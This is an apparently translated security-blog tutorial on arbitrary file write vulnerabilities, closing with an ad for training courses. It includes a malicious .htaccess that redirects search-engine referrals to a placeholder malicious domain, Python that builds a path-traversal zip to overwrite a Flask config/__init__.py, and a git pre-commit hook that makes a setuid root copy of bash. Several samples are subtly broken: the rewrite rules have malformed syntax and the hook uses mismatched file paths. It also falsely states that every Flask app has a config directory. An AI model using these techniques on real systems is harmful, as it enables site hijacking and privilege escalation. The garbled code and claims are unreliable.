Random file writing

The world of vulnerabilities is quite diverse. Usually hackers try to achieve their goals with the help of vulnerabilities of arbitrary code exploitation, the same abbreviation RCE. But in practice, in order to execute your code, you must first write to the desired file. And here another type of vulnerability Arbitrary File Write (AFW) comes to our aid. These are arbitrary file write vulnerabilities (AFW). They can become a fairly powerful tool in the hands of an attacker, for example, when attacking a website, or when raising privileges in the OS. AFW can also be used to implement remote code execution attacks.

However, in practice, there may be different situations where an attacker needs to implement different scenarios for exploiting the vulnerabilities found. For example, there may be a scenario where an attacker can control the full path to a file or only the file name. That is, a hacker can control the entire path to a file or the name of a downloaded file, but not its content. Depending on the permissions applied to the target directory and the target application, the consequences may range from denial of service to interference in the application logic in order to bypass potentially security-critical functions.

Or the opposite situation is possible, when an attacker can control the contents of the downloaded file, but not the path to the file. In this case, the consequences can vary greatly due to many factors, and above all, how the downloaded file is processed in the attacked system.

And finally, full arbitrary file writing: the attacker can control both the path and the content of the file being downloaded. This is, of course, the best option for the attacker, but it is not always the case.

AFW and Web

The main direction for attacks with arbitrary file recording are attacks on web resources. If careless administrators have not configured the web server very securely, then we can rewrite, for example, .htaccess configuration files. In this file, you can redirect users to phishing or malicious resources, with its help you can add malicious code to web resources hosted on this web server.

Another malicious .htaccess modification is shown in the example configuration below.

RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .task.com. * $ [NC, OR] RewriteCond % (HTTP_REFERER} 
.*google.* $ [NC,OR] RewriteCond %{HTTP_REFERER} .*yandex.ru* $ [NC, OR] 
RewriteCond % (HTTP_REFERER} .bing.com* $ [NC, OR] RewriteCond % (HTTP_REFERER} 
.*ya.ru* $ [NC, OR] RewriteCond %{HTTP_REFERER} .*aol.com* $ [NC, OR] RewriteCond 
%{HTTP_REFERER} .*altavista.com* $ [NC, OR] RewriteCond % (HTTP_REFERER} .*excite.com* 
$ [NC, OR] RewriteCond %{HTTP_REFERER} .*search.yahoo* $ [NC] RewriteRule 
.* http://Malicious Domain.tld/bad.php?t=3 [R,L]

This code tries to identify the sender of the request. If it is a popular online search engine, they redirect the request to their malicious website with a .tld domain in order to download the malicious script bad.php. For example, to remotely control the server:

In addition to overriding web server configuration files, we can also override files for different frameworks. So, if our application is written in Python using Flask, then it will definitely have a directory called config. This directory already contains the files __init__.py and settings.py. The main server file server.py is imported by settings.py from the config directory, which means that if we can write code in config/__init__.py, we can achieve code execution. For example, we can create a payload using the following code:

import zipfile

z_info = zipfile.ZipInfo(r"../config/__init__.py")

z_file = zipfile.ZipFile("/home/user/Desktop/bad.zip", mode="w")

z_file.writestr(z_info, "print 'test'")

z_info.external_attr = 0777 << 16L

z_file.close()

The uploaded files are extracted to the uploads directory. We can create a malicious file name using zipfile.ZipInfo(). Here we set the file name as ../config/__init__.py to overwrite __init__.py inside the config directory. And z_info.external_attr = 0777 << 16L will set the file read and write permission for all users. Next, we can prepare a zip file and upload it to the vulnerable web application to further develop the attack.

I think the examples above are enough to understand the danger of attacks with arbitrary file writing. In fact, in addition to configuration files, you can also replace temporary files and environment files (for example, venv), serialized files created during the operation of scripts, during user sessions. And in the specialized procfs file system, you can perform many manipulations to execute arbitrary code. And besides, do not forget about Bash scripts, the Cron scheduler and all sorts of profile and settings files in the OS.

Lest defense professionals be too sad, it is worth noting that only a very small subset of these tactics can be used in cases of partial control over the contents of files in web applications. The specific methods used will depend on the specific application and server configuration, so it is important to understand the unique vulnerabilities and attack vectors present in victim systems.

And not only the Web

Git repositories are used by many developers, but careless settings of rights here can lead to not very pleasant consequences. In each directory with which the version control system works there is a .git folder and if an attacker has the ability to write to it, then he can, for example, set up his own Git hook, a special Git interceptor script that runs when various events occur in the repository. For example, when such events as creating a commit, merging and other manipulations with the code. During active development, the same commits can be performed several times a day and our hook will be executed every time.

For example, you can generate a script in a git repository in .git/hooks so that it is always executed when a new commit is created:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit

chmod +x pre-commit

./pre-commit

Here we first create an executable script file, then make it executable and actually execute it.

Conclusion

We've looked at several examples where the presence of an arbitrary file write vulnerability can lead to arbitrary code execution. Of course, an attacker doesn't always have the ability to control both the path to a file and its contents, but in some cases, even the ability to simply change the contents of a specific file is enough to execute arbitrary code.

You can get more relevant skills in information security as part of practical online courses from industry experts.